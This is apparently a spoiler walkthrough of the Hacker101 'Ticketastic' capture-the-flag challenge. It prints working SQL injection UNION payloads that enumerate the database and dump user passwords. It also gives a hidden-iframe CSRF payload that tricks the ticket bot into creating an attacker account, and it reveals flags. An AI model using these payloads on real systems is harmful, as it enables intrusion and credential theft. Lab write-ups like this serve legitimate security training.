HackerOne CTF Ticketastic (Spoilers)
The ticketastic app is as basic as can be. The landing page is a basic welcome with some information about the product and links to other pages:
Welcome to Ticketastic
Demo Instance
Before you choose to purchase Ticketastic for your organization, feel free to give this demo instance a try. All functionality is exposed, simply log in with admin/admin. If you have any problems, put in a ticket on our official instance -- only the knowledgebase bot looks at the tickets submitted here.
The product info is really interesting... "only the knowledgebase bot looks at the tickets submitted here." What does this knowledgebase bot do exactly?
Submitting a ticket is a simple HTML form without any immediate indications of a vulnerability:
Submit Ticket
The admin login page is also a simple HTML form.
Admin Login
The provided credentials of admin:admin
work as advertised on the demo instance:
Granting the following cookie on success session_level7a=eyJ1c2VyIjoiYWRtaW4ifQ.GZKxFg.SxSu4EPyHqoRbRLxpVGnePh9O08
.
The system appears to be backed by a database or similar system based on the ticket?id=1
in the href of the link to the example ticket. This could be vulnerable to SQL injection.
There's another form to create a user:
New User
Which strangely uses a GET request instead of a POST. And a list of pending tickets at the bottom of the page:
Example Ticket
This is your ordinary, run of the mill ticket. If any errors occurred during processing -- for instance, if the user gives a bad link -- these will be noted here.
Our Reply
No reply yetLogging in with an invalid username is very helpful:
Likewise, using an incorrect password is equally informative:
There's an opportunity here to fuzz the production instance with appropriate word lists to find the real admin username and password.
Creating a new user test:test
works, and logging in with this username and password appears to grant the same admin access since it's possible to create another user test2:test2
with these credentials.
The test user appears to have a new token session_level7a=eyJ1c2VyIjoidGVzdCJ9.GZKyDw.ibYNb72gFIDeju2mXxK11v_Dgwc
. Attempting to navigate to the admin page without this session cookie without this set yields:
These look like JWTs:
"header" :{
"user": "test"
}
"payload": "\u0019��\u000f"
"signature": ...
What are the chances they don't check the signature? Adding some garbage to the end of the token yields "Not logged in". These are properly signed then. What are the chances they have shared the secret for the admin JWT in the production instance?
Before hopping over to the production instance, let's revisit that ticket id. Is it vulnerable to a SQL injection?
https://*.ctf.hacker101.com/ticket?id=`
Traceback (most recent call last): File "./main.py", line 78, in ticket cur.execute('SELECT title, body, reply FROM tickets WHERE id=%s' % request.args['id']) File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute self.errorhandler(self, exc, value) File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler raise errorvalue ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1")
It sure is, and a full stacktrace as well. That's an information goldmine. What's in this database?
https://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'tables', GROUP_CONCAT(schema_name, '\n'), '' FROM information_schema.schemata GROUP BY '1') ORDER BY 1 DESC LIMIT 1
tables
information_schema ,level7 ,mysql ,performance_schema
Our Reply
No reply yethttps://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'tables', GROUP_CONCAT(table_name, '\n'), '' FROM information_schema.tables WHERE table_schema = 'level7' GROUP BY '1') ORDER BY 1 DESC LIMIT 1
tables
tickets ,users
Our Reply
No reply yethttps://*.ctf.hacker101.com/ticket?id=1 UNION (SELECT 'columns', GROUP_CONCAT(column_name, '\n'), '' FROM information_schema.columns WHERE table_name = 'users' GROUP BY '1') ORDER BY 1 LIMIT 1
columns
id ,username ,password ,USER ,CURRENT_CONNECTIONS ,TOTAL_CONNECTIONS
Our Reply
No reply yethttps://*.ctf.hacker101.com/ticket?id=1 UNION SELECT 'username', username, password FROM users ORDER BY 1 DESC LIMIT 1; --
username
admin
Our Reply
admin
Great, it's time to check that JWT re-use across the instances.
Ok, that would have been too easy. This JWT might be crackable, but since they're changing with every user and instance, It would seem the key is random. I'll revisit this idea if nothing else works. The fact that we have a demo instance to work with makes me think it must be some sort of escalation from demo to prod. What about that knowledgebase bot. Could we get it to run something?
What about a CSRF? Can I submit a ticket as simple as this and trust the bot or admin will open it and create my account?
<iframe src="http://localhost/newUser?username=hacked&password=hacked&password2=hacked" style="display:none;"></iframe>
That does the trick! I can log into the production instance with hacked/hacked
. The first flag is waiting in an already submitted ticket:
Flag Won't Work
I got the flag ^FLAG^473121a84f678d3780e80d8a714757768ec447311b95c8e148b286caa1ffc971$FLAG$ but the site rejects it. Any thoughts?
Our Reply
Yeah, the correct flag is ^FLAG^****************************************************************$FLAG$. Let me know if you have any problems!
Next, the SQL injection against the users table identified above yields the second flag:
username
admin
Our Reply
^FLAG^****************************************************************$FLAG$